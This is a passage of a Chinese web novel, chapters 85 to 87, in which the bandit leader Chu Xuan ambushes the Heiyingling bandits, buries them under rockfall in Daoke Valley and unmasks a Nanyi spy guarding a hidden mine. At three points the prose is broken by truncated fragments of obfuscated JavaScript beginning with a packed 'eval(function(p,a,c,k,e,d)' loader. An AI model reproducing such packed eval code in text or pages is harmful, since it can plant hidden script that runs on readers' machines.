“眼下天时地利,不动手岂不辜负那只在虔来山中游荡数日的黄雀。”初暒的瞳孔中闪过那片零星的火光后,冷静说,“你们俩速去北边树林中同潘闯及兄弟们汇合,照我先前说的打法见机行事!” 楚六:“您要一个人引他们过去?这怎么能行!” 伍二默默起身想将他拉走,却被楚六一把甩开,“二当家再能干也还是孩子,怎能让他独自跑去给黑鹰岭当靶子,伍二莫要拉我,我要跟二当家一起去……” 楚六混劲儿犯了,赖皮似的挤在初暒身边,他以为此举能使初暒心中大为感动,却没想到自己一抬头就瞧见一双冷冽的竟叫他生生打了个寒颤的眼睛。 初暒:“听话!” 她的目光不容置疑,楚六怔怔愣了一瞬而后点点头任由伍二将自己拽走。 身旁再无其他需要关照之人,初暒反手捂住别在后腰的大斧,躬身迅速朝黑鹰岭走去。 在燕山鹰面前夸下海口的熊黑手下一声令下只吆喝出数十人,见他脸上挂不住,那数十人又各自连踢带打的推搡出数十人,这推来搡去的居然还真让他们集结到五六百人,差不多将黑鹰岭一大半的人都带了出来。 这五六百人聚在一起黑压压的一片,看起来倒是气势十足,可直到人挤着人的出了门熊黑手下才反应过来应该将这乌泱泱数百人分配好再带出来的。 趁他们队伍凌乱,初暒从队列最后大摇大摆的混迹到队列最前。 队列前面站着一位瞧着像是这些人的头儿,他正搭着一个弯腰回话的喽啰不时思忖点头,初暒好奇他们的谈话内容也贴耳凑过去听。 董梁:“那个少年瘦瘦高高的,长得也十分俊俏,要说功夫么,他没动手小的也估摸不出来,只是……那会儿还不是饭点儿,东厨小院宁静的很,可就是因为那么宁静,小的听见枯叶被踩断的声音,转个身的功夫就见他翻墙跳进来定定站在眼前了,想来他也是有些身手的,而且他吓唬小的时还从腰间摸出一把大斧,那大斧刀刃磨得都发寒光呢,好生吓人……嗯?这位小兄弟怎的瞅着有些眼熟?” 董梁瞥眼瞧见身旁站着一个少年,他还在纳闷这少年的小脸为何看起来陌生却又不那么陌生时,忽听身后有人惊呼—— “啊!后腰别着大斧,他是威虎寨二当家的!” 85. 山谷 “啊!后腰别着大斧,他是威虎寨二当家的!威虎寨的杀上来啦!” 惊呼就在耳边,初暒嫌弃的抬手揉了揉被这吼声震得发痒的耳廓,笑道,“呦,诸位认得我呢。” 饶是再异想天开的人也料不到这世上真有如此胆大包天的敢独身混迹在仇人窝里。 黑鹰岭领头的被手下人的呼叫惊醒,真以为威虎寨土匪们杀上了黑鹰岭,于是他开始犹豫是立即拔刀砍了面前对自己嬉笑这厮还是命人绑了他以便要挟杀上来的威虎寨众人。 就在黑鹰岭土匪们还在为忽然出现在自己身边的威虎寨二当家不知所措时,初暒敛起嘴角笑意倏地抽出腰间大斧,使刀背接连砍晕眼中没有凶光的三五人闹出混乱动静后,立即转身往北边树林中狂跑而去。 初暒挥斧迅速,力度也不重,撒腿就跑的动作更是十分敏捷,故而直到她跑出几丈之远后黑鹰岭众人才想起提刀追赶。 夜色已深,虔来山路虽险,但两方土匪常年居住其中,哪怕视线不甚明晰也能在婆娑树影里来去自如。 董梁本想在追逐威虎寨二当家途中趁乱躲在树林中避险,可熊黑手下像是察觉到他心思似的,一路都揪着董梁的领子不撒手,黑鹰岭众人以此法顾及了身旁喽啰,却在没入树林后丢失了初暒的踪迹。 “跟丢了?唔……” 疑惑刚问出口,立在散漫人群边沿的黑鹰岭土匪腹部就被人用木棍重重锤了一棒,他们吃痛的捂着肚子躬身,腰背上又铺天盖地的受了几棍。 伍二、楚六还有潘闯各自领了三四十人将黑鹰岭土匪间隔包围,以树林中茂密枝干为掩护围着他们边打边转移,黑鹰岭中有人想挥刀反抗,可奈何身边树木紧密,他们一劈砍,手上刀刃便卡在了树干之中,等费力将其拔下后,威虎寨那帮人已经打完几棒跑走了,最后就只能生生挨了他们重击在自己身上的木棒。 林中树木密集,可供行走的道路狭窄,黑鹰岭土匪使刀没法砍,想跑又因为周围抱头躲避的兄弟太多,将能走的路都堵得严严实实,威虎寨用的是木棒,一棒抡在身上虽说不致命,可一棒接着一棒的打在身上,不死也疼,黑鹰岭众人被打的没了脾气,在疼痛叫喊中纷纷心生退意,不约而同的捂着头、撅着腚向来处后退。 循着打斗叫喊声跑来的方大通见状,立即将双手扩在嘴边,用兴民城方言高喊,“黑鹰岭肆意掳掠平头百姓、草菅人命,委实坏了虔来山草莽好汉只求财不害命的规矩,今日威虎寨替天行道,只取黑鹰岭真土匪性命,若你们中有兴民城或他地百姓被迫落草,我威虎寨愿手下留情,放诸位下山归家!” 兴民城方言拗口,字音好听却十分难懂,没在城里待过四五年的人大约只能听见方大通叽里咕噜说了一堆不知何意的话。 黑鹰岭土匪大多都是在兴民城附近被掳掠上山又遭熊黑威胁才不敢逃离的,此时听见威虎寨那人喊话,饶是被打懵了也没有耽误心中涌现的喜悦,可他们与四旁兄弟相视一眼后谁也不愿做第一个抬步跑开的人。 听不懂兴民城方言的人在面面相觑,听得懂的人在互相大眼瞪小眼不敢挪窝。 董梁躲在树下琢磨自己到底敢不敢跑,头顶突然不知被什么东西砸了一下,他仰头看去,一眼就认出今日已经见过两回的白净少年。 “你…你……” 那少年屈膝靠在树上,不时把玩着手中的大斧,董梁看她瞧着自己又朝下山的方向挑了挑眉,眼神好似在说:你什么你,倒是撒腿跑呀。 她居高临下,又有利器在手,眼中却没有丝毫杀意,董梁确定威虎寨喊话那人所言非虚,连忙扔了刀起身从怔愣在树林中的同乡兄弟身边穿过,边跑边喊—— “威虎寨当家的开恩助我等自黑鹰岭逃命归家,兄弟们别愣着了,快跑啊!” 有人领头出逃,林中便接二连三的传出大刀被丢弃的声响,越来越多回过神的庄稼汉子、贩夫小卒趁着混乱脱离了黑鹰岭真土匪的掌控,四散着钻进了更深的树林而后不见踪影。 熊黑手下知晓黑鹰岭能有如今的规模全凭熊黑用人命恐吓,他们原以为尝到不劳而获甜头的中北百姓早已经习惯烧杀抢掠,却没想到这些人竟只凭对家一句话就将那些甜头抛在脑后,简直愚不可及。 黑鹰岭召集的五六百人已经跑了一大半,人群消散后,树林中握刀立在原地的不过比威虎寨多出百余人。 人少也有人少的好处。 就像无法持刀打斗的平头百姓们跑开后,熊黑手下在月光映照下的树林中才能很清楚的看到包围着自己的威虎寨,人手其实也少的可怜。 “赖豹在豹子山藏的豹子胆真叫你们威虎寨的吃了,就这么几个人居然也敢侵袭我们黑鹰岭!兄弟们莫怕,这是黑鹰岭地界,纵使跑了那么多人,咱们兄弟仍多出他威虎寨几成,如今你我利刃手中握,只管放出杀招为熊黑当家报仇……” “咚!” 一把大斧从上飞下翻转几圈后,斧刃精准的卡进黑鹰岭方才说话之人的喉咙,熊黑手下还未来得及闷哼,整个人就瞪着从树上飞身跳下来的少年然后板正的重重躺倒在地。 “啊呀呀!就是他害我当家、杀我兄弟!” “杀啊!” 眼睁睁看着仇家杀了自己的兄弟,黑鹰岭土匪的双眼已被仇恨染红,他们挥着刀朝没了兵器的初暒冲去,可初暒只侧身站在原地不动如山,看着扑面而来的黑鹰岭土匪从胸腔中凝声吼出两个字—— “换刀!” 命令一出,威虎寨人立刻将手中木棒抛在身后,反手从绑在背部的刀鞘中抽出明晃晃大刀,刀光凌冽,刀面上除了月光还投射出黑鹰岭土匪们不可思议的惊诧双眼。 伍二一个上步挥刀劈开扑向初暒的土匪,挡在她身前,道:“养精蓄锐多日,如今终于到卖力气的时候了!兄弟们抓紧干,待会儿咱们还得选个吉时乔迁进建在黑鹰岭的新居呐!” 对面的楚六举着刀,吼道,“老伍头废话可真多!干就完事!” 方大通围在另一个方向高声喊,“先说好,黑鹰岭北边最大那间屋子我先占了,谁都别跟我抢!” “你想的倒美!先拿下这帮杂碎再说!”潘闯最先冲过去将一人劈砍在地,“冲啊!” 他们各司其职,初暒则悠悠从地上尸体喉间拔出自己刚甩出去的大斧,溜达在威虎寨兄弟们身后兜底从他们包围圈中跑出来的黑鹰岭土匪。 伍楚方潘四人带头率手下在黑鹰岭四周以包围之势逐渐向内砍杀,他们本就有武艺在身,手下人平日于山寨中又常在初暒与伍二的指导下练刀打拳,比哪些半路出家只会使蛮力的土匪要强出不少,再加上此次是豹子山与投奔威虎寨的‘散户’土匪第一次在威虎寨出力,两方人虽然不晓得对方的来路,但彼此都想在威虎寨二当家初暒面前好好亮个相。 黢黑树林中的土匪们打得热火朝天,树林之外的一处山头树丛里脑袋上扣着草环的十几官差们眼看一群壮汉朝此处奔来,还以为他们杀了熊黑的事情已经暴露,这些土匪竟这么快就察觉并且发现了自己的踪迹,正慌张的冷汗直流时,却瞧见这些大汉脸上的神色比自己还要慌张,甚至顾不得查看周围动静就只闷头往前跑,惊慌的跟身后有鬼追逐似的。 柱子的视线循着从自己身边跑过去的人群有些纳闷,问,“这些人怎么回事?黑鹰岭的逃兵?” 这些溃逃的人手中没有兵器,眼中也没有狠意,瞅着倒不像虔来山的土匪。 “抓一个问问。” 白冲起身揪住一个跑的气喘吁吁地中等身量的汉子,问,“你们是何人,为何成群结队的从黑鹰岭方向跑来?” “小的什么都不知道,好汉饶命!好汉饶命!” “连自己是谁都不知道么!”这人哆哆嗦嗦,饶命的话却张口就来,白冲心里有了猜测,语气也软了下来,“你别怕,我是兴民城州府军,此次便是奉命来剿灭虔来山土匪的,若你能与我说些黑鹰岭近况,便是大大的帮了朝廷的忙了。” “你…你是官军!” 董梁方才是第一个跑的,可这山路走都不好走更别说跑了,他跑不动,于是慢慢就落在了同乡身后。 虔来山黑路远,他一边害怕身后土匪食言追上来将自己灭口,一边累的心跳如擂鼓、上气不接下气,半条命差点交代到这儿,这会儿见到朝廷的官军知道有救了,竟喜得泪流满面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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初暒看到时机成熟,朝伍二使了个眼色,伍二颔首领命而后不动声色的带手下人慢慢与身侧的方大通汇合。 伍楚方潘四人守住四个方位将黑鹰岭土匪团团包围叫他们难进难退,而此时伍二让出一个方位,原本密不透风的阵型翕然缺了大口子,被威虎寨按头敲打的黑鹰岭余党见状以为他们在打斗中出了错不慎为自己留出了生门,想都不想的向前虚劈了一刀而后冲着那缺口前赴后继撒腿跑去。 楚六看向初暒,直到潘闯拍了拍他的肩膀示意他不要出神,楚六才神情复杂的收回自己的目光与他们分头跑开。 熊黑一众手下从威虎寨的包围中逃出后沿路狂奔,他们刚开始还在庆幸自己逃出生天,可是眼前出现的两座高山与越来越狭隘险峻的地势忽的让这些人后脊一凉。 “糟了!怎么跑进刀客谷了!” “娘的!威虎寨那帮是故意引咱们跑这儿来的!” “白天大当家曾传信刀疤脸若黑鹰岭有难,需得请他们出谷搭救,头儿,咱们就往里面跑吧!” “跑个屁!方才那树林离刀客谷这么近,我不信那里的刀砍杀声传不到此处,刀疤脸那厮若真有心搭救早派人出来了!” “这可怎么办!啊!他们追上来了!” 领头的心中一横,咬牙道,“刀客谷往常得了我黑鹰岭那么多好处如今竟敢见死不救,咱们何不破了刀客谷,说不定还能多活一会儿!刀疤脸缩头当鳖,兄弟们便随我闯进去将他脸上的疤挪到脖子上去!” “是!” 黑鹰岭的人朝刀客谷奔去,若是有人留心回头多看一眼,便可发现威虎寨前来追赶他们的不过十数人而已,与这十数人对上或许还有一线生机,可偏偏他们自己跑向了阎王殿。 有心攀附黑鹰岭的刀疤脸紧闭着的大门被撞开之后,死于黑鹰岭落难土匪们气势汹汹的大刀之下,两寨土匪在短暂的火拼中很快分出了胜败高低。可争斗才歇,胜利的喜悦还没开始蔓延,黑鹰岭为首那人立于刀客谷院中刚一仰头探查,便看到自己与一众兄弟们不远的死期。 刀客谷是个小山谷,两山间低凹而狭窄之处就是山谷。 明月高悬,月光下他们立于一览无余的山谷,而那两座山峰之巅,却站了无数来索他们性命的小鬼。 天黑着呢,可是天又黑了。 86. 柱子 “投石!” 初暒一声令下,便有无数大小山石自刀客谷上方两座山顶铺天盖地砸落其中,才夺了刀客谷的黑鹰岭土匪反应不及,发软的颤抖双腿也使不上力,只得仰头瞪着眼睛任由那些山石在自己的惊惧瞳孔中越变越大。 虔来山中第一不缺树木花草、第二便是取之不尽用之不竭的土块山石,伍二眼看手下喽啰将大小石块源源不断抛掷在刀客谷中,谷底除了有坠落山石相互的轰隆碰撞声响与漫天尘土以外,再没有其他旁的让人心生恐惧的动静。 听不见、看不见有时不是什么坏事,起码这会儿不至于让人因为愧疚崩溃。 初暒站在高处俯视着刀客谷动向,威虎寨其他人见黑鹰岭能打的土匪们果真如这位二当家先前与他们交代过的那样被他们在此处包了饺子,无一不心生叹服。 伍二想走到初暒身边,可才迈了几步一抬眼就看到她垂在身侧紧握的双拳。 “停!” 刀客谷尘土弥漫,初暒却在弥漫尘土中敏锐地看见一处光亮,她立即叫停抛掷石块的喽啰,转身边走边说,“黑鹰岭余党以火光为号向我们降了,潘闯你带几人守在此处山顶,若有人来闯务必报信于我!其他人随我下山入刀客谷!” 威虎寨众人:“是!” 方大通带路寻了条近道,初暒一行人很快便来到了刀客谷。 楚六方才在山顶兴奋地扔石头时以为那就是初暒说的教他‘包饺子’,可等他走进刀客谷看到满院被山石砸中已经变成肉泥的土匪才明白,要想包饺子,得先准备肉馅。 空中的飞扬尘土中夹杂着直冲天灵盖的血腥味,饶是手上有过人命的土匪见着此景、闻着此味,胃里的东西也全都翻动着争先恐后的涌了出来。 威虎寨小喽啰们刚一进门就吐得颠三倒四,楚六与方大通捂着嘴挣扎了一会儿也还是没忍住扶墙大吐特吐起来。 伍二虽说在山顶时就想到此处会是这幅光景,可脑中想的毕竟比不上亲眼看见,他抬手捂着口鼻看向走在自己前面连步伐都不曾混乱的初暒,追上去想问她些什么,但最终还是没有问出口。 刀客谷中所有建筑房屋已被砸毁,少数人紧贴着两侧山底的石块坠落盲区才躲过一劫,两侧山底能躲避山石的地方不大,容纳不了多少人,能在那地方生存下来的,除了聪明还需心狠。 初暒在刀客谷院中站定,伍二从谷底着火那处引了火,举着熊熊燃烧的火把立在她的身后侧边。 看见威虎寨正主来了,很快就有数十人从火光阴影中匍匐出来跪在初暒面前不停以头抢地。 “小的是刀客谷的,跟贵寨无冤无仇,如今刀疤脸已死,刀客谷群龙无首,我等愿意誓死追随威虎寨,只求当家的饶小的们一命!” “我等愿意誓死追随威虎寨,求当家的饶小的们一命……” 最先开口求饶之人逃过一劫后又来一劫,惊惧的浑身打颤,可口中的话倒说的十分清晰。 “你且起来回话。” 初暒看着他的眼睛,问,“兄弟怎么称呼?在刀客谷中可担有什么职务?” “小的贱名马皓,就是刀客谷一个小喽啰……”他顿了一下,又说,“不过,刀客谷与黑鹰岭往来钱粮大多都由小的负责运送的。” 他这话是想说自己虽是小喽啰但也是个有用的喽啰,初暒心中明了,刚要开口,余光忽然瞥见谷旁山上飘起一抹红光。 马皓顺着她的视线看去,惊呼,“天灯!” 初暒:“从黑鹰岭方向飘来的天灯,这天灯代表什么?” “燕山鹰曾与刀疤脸相约,若一方有难,白日以竹哨纸鸢为号、夜里则放天灯为信,这两种法子都是求救用的,黑鹰岭此时有难……诶?”马皓像是想起来什么似的,“您大部队都在这儿了,黑鹰岭那边有什么……” 初暒反应过来后,道,“伍二,你与手下人清点此处,马皓,你…跟我走。” 伍二:“是!” 马皓:“啊?” 马皓不晓得这威虎寨二当家要带自己去哪儿,正在疑惑时就见一个吐得满脸苍白的汉子过来将他揪起来带走。 楚六提溜着马皓与方大通跟着初暒摸黑回到了黑鹰岭。 黑鹰岭中灯火通明,门外却并无一人把守,饶是楚六这般神经大条的人都看出里头有诈,可初暒却执意要从正门进去。 “不必阻拦,我与方大通进去瞧瞧。”初暒看了一眼楚六手里拎着的哆哆嗦嗦的小喽啰,“你务必在外看好马皓。” 楚六虽不情愿进去,可一听初暒不带自己立马急了,“那不成!您进我也要进!” 方大通得意道,“楚六哥急什么,我与二当家先进去探探,等我们确认无事了再差人出来请你便是。” 方大通面上带笑,眼中全是揶揄,楚六心中来气,暗自腹诽:你一个半路来投奔的这里哪轮得着你说话! 二当家在场,楚六不愿与方大通说难听话,可他看初暒确实没有让自己与她同进的意思,只拉着脸说,“不进就不进,一个黑鹰岭而已,又不是没去过……” 插在黑鹰岭寨门外照明的火把灼热明焰,火苗翩迁起舞,好似扭着赤红的腰肢迎接在夜里到访的来客,初暒与方大通相视一眼,推门而入。 黑鹰岭寨内,白冲土匪当家似的靠在聚英堂宝座上扣手,被反手绑着跪在堂下的燕山鹰偷瞄了一眼座上那位吊儿郎当看着比自己还像土匪的官差,见他扣的认真便悄悄甩了下齐肩短发以使这些垂在脸颊的发丝不至于遮挡自己寻找逃命法子的视线。 柱子站在燕山鹰身边,他不时张望堂外的目光察觉到腿边这人的小动作后,用刀背砍了一下他的后颈,低声喝道,“老实点!” “小白,咱们抢在威虎寨前面占了黑鹰岭真能说服他们投诚?” 柱子有些心神不宁,白冲安慰他,“软的不行,就来硬的,我观威虎寨那位二当家战前肯放无辜百姓归家,赌他其实并非残酷无情之人,况且我在黑鹰岭的消息已经放了出去,我老爹不会不管咱们的,再说你瞧黑鹰岭土匪被外头传的那么邪乎,还不是被咱们几人三两下就占领了,等活捉了虔来山土匪头、清理完虔来山土匪窝,咱们可就是闻名天下的大英雄了,甭害怕!” 熊黑带走山寨一队人手后折在了游荡在虔来山中的官兵手里,熊黑手下为给他报仇又带走了山寨最后一波能打的喽啰,白冲用熊黑尸首加剧了威虎寨与黑鹰岭之间的冲突,趁两寨鹬蚌相争打得不可开交时,仅带不到十人就控制住了自己的黑鹰岭,求救天灯已放出许久,刀客谷如果信守承诺此时也该到了,可现在也不见外面有信儿,难道他们也…… “呵……” 燕山鹰忽然嗤笑一声。 聚英堂的沉静被这笑声打破,白冲起身从宝座下来,冷冷问,“你为何事发笑?” 燕山鹰不看他,还笑,“我笑你这毛头小子洗脸盆里扎猛子——不知深浅…唔……” “放什么屁呢!有话直说!” 白冲蹲下扼住燕山鹰的喉咙,“信不信老子现在就拧了你的脑袋回去领赏!” “啊哈哈哈你居然以为自己还能回去?活得久了真是什么人都能遇上……”燕山鹰干咳了两声,收回眼中讥笑,又道,“威虎寨先夺豹子山再扰黑鹰岭,刀客谷这会儿大概也已经没了,那些人能下此狠手你真当他们是吃素的?只带了这么几个人就敢在此处张狂,是嫌你与你这些手下活得太久么!” “黑鹰岭老巢方位已然暴露,老子早差人出去报信,用不了多久兴民城与赤霄军大将慕峰青就会派人上山支援,你能不能活过今天都难说,居然还有闲心操心我的死活。” 燕山鹰眉头皱了一瞬,重又挑拨,“你猜威虎寨与你的援兵谁先杀到黑鹰岭?我听闻威虎寨二当家为人心狠手辣、睚眦必报,若不巧是威虎寨的先来,又不巧他知晓是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一个土匪见着官兵不惶恐也就罢了,居然还当面说他没脑子,白冲被气的头发都要炸起来了,“若不是我,你们早已被熊黑等人自后方追击,哪还有命站着这儿与我叫嚣!” “你说话客气些!要不是我二当家设计让熊黑在黑鹰岭与豹子山之间颠了几个来回,累了个半死,你以为就凭你手下这几人能打过凶神恶煞的熊黑?”方大通翻了个白眼,“被我们当枪使了都不知晓,慕大将军手下怎会有如此蠢笨之人……” “谁说我不知……” 白冲被他激怒,一张嘴才发觉自己说错了话,他吼叫,“如今黑鹰岭大当家已被擒获,你二人又落在了我的手里,不过…我念你们威虎寨不滥杀无辜,放走了被黑鹰岭掳走的百姓,故而愿意在上官面前替尔等求情,识相些快互相绑了与我下山听候朝廷发落!” “我只带一人见你,是因威虎寨夺豹子山、灭刀客谷、扰黑鹰岭只为称霸虔来并无意与朝廷作对,你若足够聪明,在杀了熊黑后就该取了他的人头护送被掳百姓下山,而不是负气莽撞只领着这几个小兵便孤身闯进土匪窝招惹匪首!”初暒顿了顿,冷声提醒他,“虔来山复杂的不止地势,你要是还顾忌舍命陪你进山的诸位同袍性命,便收刀放了燕山鹰尽快离开此处!” “收刀放了燕山鹰?”白冲像是听到什么笑话,“我只见过官捉贼,还不曾听闻有官放贼的……” “马皓跑了!” 白冲话音未落,就见一个高大汉子满身是血的捂着左肩倒进聚英堂,口中断断续续说,“二当家不好了……马皓趁小的不备,伤了小的后翻进黑鹰岭了……” 楚六身受重伤快要不省人事,初暒与方大通连忙扑过去查看,就在双手差些触碰上他时,初暒猛地发觉从身后飞来十数暗器,她敏锐地转身拉过堂内条凳挡在自己与方大通身前。 尖锐飞镖咚咚咚陷进条凳没有伤着他们分毫,马皓切齿扬着五指缝中卡着的暗器冷笑一声,突然侧身将手甩向了立于燕山鹰身前的白冲等人。 他出现的突然,丢暗器的速度也太过迅猛,白冲反应不及双脚又像灌了铅似的抬不起来,就在他以为今日大概就要死在这里那瞬,又见有一人面朝暗器不躲,竟飞奔过来整个人挡在了自己身前。 “柱子!” 87. 矿址 白冲接住挺身仰倒在自己怀里的柱子,伸手想捂住他胸口各处血洞里涌出来的血,越捂越恨自己为何只有两只手。 “小…白…” 柱子嘴里吐着血泡,用尽全力抬起自己的右手。 白冲泪流满面,强抑着方才以为自己快要死的时候也不曾有过的慌乱心痛,握住他满是鲜血的手,“我在!柱子…我在我在……” “我困了…就先……不陪你做大英雄了,你以后……以后要听话…听……” “柱子!你别睡……别睡!” 马皓:“哈哈哈…中北官兵死于土匪手中,就算威虎寨一统虔来,这独霸一方的位置怕是再没有人能坐稳了哈哈哈……” 被称作柱子的小兵语未尽、眼先垂,初暒眼中闪过一丝痛惋,而后一边低声嘱咐方大通看好燕山鹰并发信号召集潘闯与伍二汇聚于此,一边不动声色的起身往因奸计得逞而猖狂得意的马皓挪去。 马皓虽然得意,却并没有忘形,他察觉有人向自己靠近立即转身从窗户一跃而出,初暒见他要跑随即便追了上去,路过白冲时还不忘拍了他一掌,道,“别哭了!快追!” 马皓自称是刀客谷喽啰,可初暒看他拔腿跑路时倒对黑鹰岭附近熟门熟路。 幸亏昨日来黑鹰岭时曾以歇脚为名将这附近仔细探察过一遍,初暒此时看马皓只往这个方向跑,一眼便知他打的什么鬼主意,于是她脚尖一偏跑向了另一个方位。 将追在身后的两人引到黑鹰岭对面一座山头崖边,马皓佯装自己跑上了绝路,在山崖前止步转身,悔恨道,“怎么跑到这儿了!” 白冲抽出腰间大刀向他冲过去,愤恨道,“害我兄弟!狗贼偿命来!” 马皓手无寸铁,身上的暗器方才也已经丢完,他自知不是面前这位满心报仇小兵的对手,竟换了副慷慨就义的嘴脸,高声道,“世人都说兴民城繁荣与富饶,滋养了一方百姓,却不知边境连年战乱朝廷上下、大官小吏早已将兴民城内外百姓盘剥的渣都不剩!我等在朝廷的管制下活不下去,于是跑进山中自己养活自己,而你们这些自诩为民请命的官!却偏偏要来毁我们的太平日子!你想要我的命给你兄弟赔罪!我偏不给!我非要用我这条命让你记住,中北朝廷逼民做匪,假仁义!真卑鄙!” 他说完便从崖边一跃而下,白冲大吃一惊忙冲过去向下张望,崖下山雾弥漫,那土匪跳下去一点动静都没有发出,好似在瞬间被吞进了万丈深渊。 人就这么没了,白冲心中既为柱子舍命护己悲痛惭愧,又对这已经自尽的土匪无可奈何,心中真真是憋屈至极。 土匪那满腔的不公仍然回荡在耳边,白冲心中忽的茫然起来,他甩了手中刀,扑通一声瘫软在地。 头顶再无动静,紧贴着山崖石壁的马皓讥笑一声正要拍拍屁股走人,却倏地感觉喉间一凉,“你……” 初暒手持大斧,用斧刃轻轻摩挲着马皓的喉结,她目光专注,好似在琢磨要蹭几回才能要了他的命。 “讲的真好,若是瘦猴与胖冬也有你这口才,说不准真能说服我饶了他们呢。” 喉咙痛中带痒,马皓却顾不得仔细感受,他面露凶光,低声道,“原来是你!” “是我如何!”初暒握着大斧的手用了力,狠狠问,“塔鲁阿茶依照地形图混入虔来山寻矿,你们定是跟踪她寻到矿址才出手将其灭口在虔来山中,说!虔来山矿址到底在何处!” 马皓心中砰砰作响,都说虔来山壁立千仞、峰峦叠嶂,就算是数万大军隐匿在其中都难被发现,更何况一具死了那么久的尸体,他不晓得这位威虎寨二当家如何知道此事,于是试探说,“什么茶、什么矿我没听说过。” “塔鲁阿茶的衣物被你们翻找过,身上的包袱也不见踪迹,想来你们是想毁了她参照的地形图罢。”马皓口中提了人,也提了矿,却并不说图,那初暒偏提醒他,“那张你们找遍也没找到的虔来山矿物地形图就刻在塔鲁阿茶右手的拇指甲片上。” “甲片?!”马皓震惊,“竟刻在甲片上……” 初暒紧盯着马皓慌乱的双眸,不放过他每一个眼神。 马皓确定她所言非虚,震惊之后重又冷嘲,“你有地形图如何,这虔来山大了去了,就算你拿下四寨能在山里来去自如,没有个百八十年也甭想找到矿址!” “呵…原来矿址真在虔来山中啊。” “你套我话!” 马皓终于反应过来大吼一声,瘫坐在崖边的白冲听见动静先下意识打了激灵,而后附身看向山雾仔细探听。 初暒抬头看了一眼,手中的力气又大了一些,马皓吃痛,双腿无力跪倒后闷哼一声再说不出话来。 “黑鹰岭附近的低崖陡坡很多,你想用假死逃遁却偏偏选了这处,该不会这低崖底下有好些个四通八达可供逃跑的矿洞?” 马皓瞪大了双眼,然后又像是否认什么似的猛地摇头,他想说话,可越用力张嘴喉咙流的血就越多。 “虔来山有四家匪寨,你们南夷人虽然在各家都安插了人手,但偏偏只有熊黑管辖的黑鹰岭与刀客谷在干杀人越货,刀刃见血的买卖,想来此举是为了让周边土匪、百姓惶恐畏惧,以至于不敢靠近这里误闯矿址吧。”初暒附身看着他,如同看一具尸首,“你的头摇晚了,我已经知晓虔来山矿址就在这座山崖下了。” 马皓开始拼命挣扎,试图用全力夺过初暒手中的大斧将她杀死。 初暒对他的所作所为无动于衷,只仰头高声喊了一句,“崖边那个兵,下来吧!” 白冲听见喊话,从方才那土匪所站位置跳了下来,腾空坠落几丈后,整个人便跌进了一处平整石面。 “这儿竟有这么大一片凸出来的石块!”白冲明白那土匪跳崖自尽只是想死遁骗过自己,气急挥刀一把砍下了他的人头。 手刃杀害柱子的仇人,白冲心中总算有些许快意,他回过神来发现那位威虎寨二当家看着自己的眼神竟有些莫名其妙的、让他觉得有些熟悉的惋惜。 白冲:“你为何这么看我?” 这小兵被愤怒与怨恨冲昏了头,既不好奇自己为何要他将唤下山崖,也不问她如何发现那土匪想佯死逃遁,只顾顺从自己的情绪杀人解恨,此人若想在前世的自己手下办差,估计连做伙头兵的资格都没有。 初暒按下心中惋惜,转身从原路走上去,“初见你时,我觉得你这固执冲动的脾性很像一个人,可经过方才,我又觉得是自己看错了。” 白冲追上她问,“像谁?” “我。” “我是兵,你是匪,我怎会像你!” 初暒不语,白冲又问,“方才你也听见那土匪在崖上对我说的话了吧。” “嗯。” “那你觉得他说的是真的么?” “你是兵,我是匪,你问我?” “我没当兵的时候日子过的太好了,他说的‘朝廷上下、大官小吏早已将兴民城内外百姓盘剥的渣都不剩’这话我判断不了……” “长了眼睛就自己去看,长了耳朵就自己去听,长了脑子……”初暒顿了片刻,还是对他说,“就要自己思忖分析,只是干想,便什么都判断不出来。” 走出山崖好远,白冲拍拍自己的脑袋,说,“你说的有理,可我跟你个土匪问个什么劲儿,不过我看你脑子好使,也像是有些本事在身上的,在这深山老林里当土匪可惜了,下山随我当兵征战沙场、报效朝廷如何?诶……人呢?” 方才还并肩同行的人,一扭头就不见了,白冲心中觉得不对,刚准备抬脚跑路,后颈就被人砍了一手刀,倒地很快便失去了意识。 天快亮了,初暒确认四下安全后将白冲拖靠在树边,自己回了黑鹰岭。 寨外值守小喽啰见是她,忙回首通传,“二当家回来了!” 潘闯闻声立刻小跑出来问候,“二当家的。” “嗯,楚六怎么样了?” 潘闯边随她进门边答,“没伤着脏腑,应该没什么大碍,伍二简单给他包扎了一下,这会儿正在后院厢房里睡着呢。” 穿过往来清点黑鹰岭家当的喽啰,初暒一进聚英堂,就看到地上并排躺了几人,方大通看见初暒便立即上前与她解释,“二当家的,这些就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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伍二看方大通喜滋滋的带人出门,不禁问,“他犯了错,二当家为何不罚他呢?” 初暒:“本就是四处抢劫、不受拘束只讲究有福同享的土匪,奖惩这些组织规矩不适合他们,再说他已知失职,比起那些惯会得过且过的喽啰,已经算十分难得了。” 伍二若有所思的点了点头。 灭刀客谷、取黑鹰岭这些天,伍二发现初暒以四两拨千斤之势轻易就将原豹子山土匪与前来投奔的散户土匪炼成一把可供自己调配的利刃,她在指挥用人方面似乎手到擒来,熟练地好像让众人觉得听命于她,本就是件理所当然的事。 “燕山鹰现在何处?” “绑在后院柴火房,二当家的现在可要见他?” “不,多晾他一会儿,甭捂嘴,他想说话,就让人陪他说。” “是。” 初暒忽然想起,“对了……先前托你帮忙的事查的如何了?” 伍二:“威虎寨中除了瘦猴、胖冬再无可疑之人,前来投奔的那些散户也无甚异常,不过……这几日小的发现豹子山中有一人言行举止比旁人多了些谨慎,似乎有些不对劲,目前还在悄悄观察,二当家的放心,除了他,小的定会仔细打探刀客谷、黑鹰岭这些新进人手的底细,不放过任何一个对中北身怀异心之人。” 看她眯着眼睛,轻轻点头,伍二想了想又问,“虔来山中有南夷奸细一事,二当家可曾向其他人透露?” “此事不宜张扬。” “小的听方大通说,刀客谷一个叫马皓的杀了一位官兵,企图嫁祸给咱们山中土匪,那个马皓是否也是南夷人?” 